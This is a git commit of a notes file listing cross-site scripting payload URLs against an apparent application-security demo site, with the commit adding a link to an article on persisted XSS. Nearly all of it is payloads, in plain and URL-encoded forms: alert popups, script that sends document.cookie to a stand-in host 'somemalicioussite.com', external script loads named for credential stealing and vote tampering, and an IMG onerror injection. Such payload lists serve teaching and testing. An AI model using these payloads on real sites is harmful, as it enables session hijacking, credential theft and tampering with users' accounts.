<commit_before>﻿Display an alert popup:
http://app-sec-demo.herokuapp.com/vote-search?username=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%68%65%6C%6C%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3E

Sends cookies to another website:
http://app-sec-demo.herokuapp.com/vote-search?username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%73%6F%6D%65%6D%61%6C%69%63%69%6F%75%73%73%69%74%65%2E%63%6F%6D%2F%63%6F%6F%6B%69%65%65%61%74%65%72%2E%61%73%68%78%3F%75%73%65%72%6E%61%6D%65%3D%6A%61%73%6F%6E%26%63%6F%6F%6B%69%65%73%3D%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E%0A
http://app-sec-demo.herokuapp.com/vote-search?username=<script>document.location=%27http://www.somemalicioussite.com/cookieeater.ashx?username=jason%26cookies=%27%2Bdocument.cookie;</script>

Load an external script file:
-Show an alert:
http://app-sec-demo.herokuapp.com/vote-search?username=<script src="http://www.somemalicioussite.com/scripts/alert.js"><script/>

-Steal login credentials:
http://app-sec-demo.herokuapp.com/vote-search?username=<script src="http://www.somemalicioussite.com/scripts/credentialStealer.js"><script/>
http://app-sec-demo.herokuapp.com/vote-search?username=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%73%6F%6D%65%6D%61%6C%69%63%69%6F%75%73%73%69%74%65%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%63%72%65%64%65%6E%74%69%61%6C%53%74%65%61%6C%65%72%2E%6A%73%22%3E%3C%73%63%72%69%70%74%2F%3E

-Cast a vote for Seattle:
http://app-sec-demo.herokuapp.com/vote-search?username=<script src="http://www.somemalicioussite.com/scripts/voteForSeattle.js"><script/>

Injecting javascript via an IMG tag:
http://app-sec-demo.herokuapp.com/vote-search?username=<img src=1 onerror="alert('Javascript from IMG');" /><commit_msg>Added link to article on persisted XSS via username<commit_after>﻿Display an alert popup:
http://app-sec-demo.herokuapp.com/vote-search?username=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%68%65%6C%6C%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3E

Sends cookies to another website:
http://app-sec-demo.herokuapp.com/vote-search?username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%73%6F%6D%65%6D%61%6C%69%63%69%6F%75%73%73%69%74%65%2E%63%6F%6D%2F%63%6F%6F%6B%69%65%65%61%74%65%72%2E%61%73%68%78%3F%75%73%65%72%6E%61%6D%65%3D%6A%61%73%6F%6E%26%63%6F%6F%6B%69%65%73%3D%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E%0A
http://app-sec-demo.herokuapp.com/vote-search?username=<script>document.location=%27http://www.somemalicioussite.com/cookieeater.ashx?username=jason%26cookies=%27%2Bdocument.cookie;</script>

Load an external script file:
-Show an alert:
http://app-sec-demo.herokuapp.com/vote-search?username=<script src="http://www.somemalicioussite.com/scripts/alert.js"><script/>

-Steal login credentials:
http://app-sec-demo.herokuapp.com/vote-search?username=<script src="http://www.somemalicioussite.com/scripts/credentialStealer.js"><script/>
http://app-sec-demo.herokuapp.com/vote-search?username=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%73%6F%6D%65%6D%61%6C%69%63%69%6F%75%73%73%69%74%65%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%63%72%65%64%65%6E%74%69%61%6C%53%74%65%61%6C%65%72%2E%6A%73%22%3E%3C%73%63%72%69%70%74%2F%3E

-Cast a vote for Seattle:
http://app-sec-demo.herokuapp.com/vote-search?username=<script src="http://www.somemalicioussite.com/scripts/voteForSeattle.js"><script/>

Injecting javascript via an IMG tag:
http://app-sec-demo.herokuapp.com/vote-search?username=<img src=1 onerror="alert('Javascript from IMG');" />

Persited XSS via users:
https://www.cogmotive.com/blog/office-365-tips/vulnerability-in-office-365-allows-unauthorised-administrator-access
{'fraction_non_alphanumeric': 0.22799272916125682, 'fraction_numerical': 0.21500908854842898, 'mean_word_length': 10.498507462686566, 'pattern_counts': {'":': 0, '<': 21, '<?xml version=': 0, '>': 21, 'https://': 1, 'lorem ipsum': 0, 'www.': 9, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '5310578', 'n_tokens_mistral': 2297, 'n_tokens_neox': 1959, 'n_words': 105}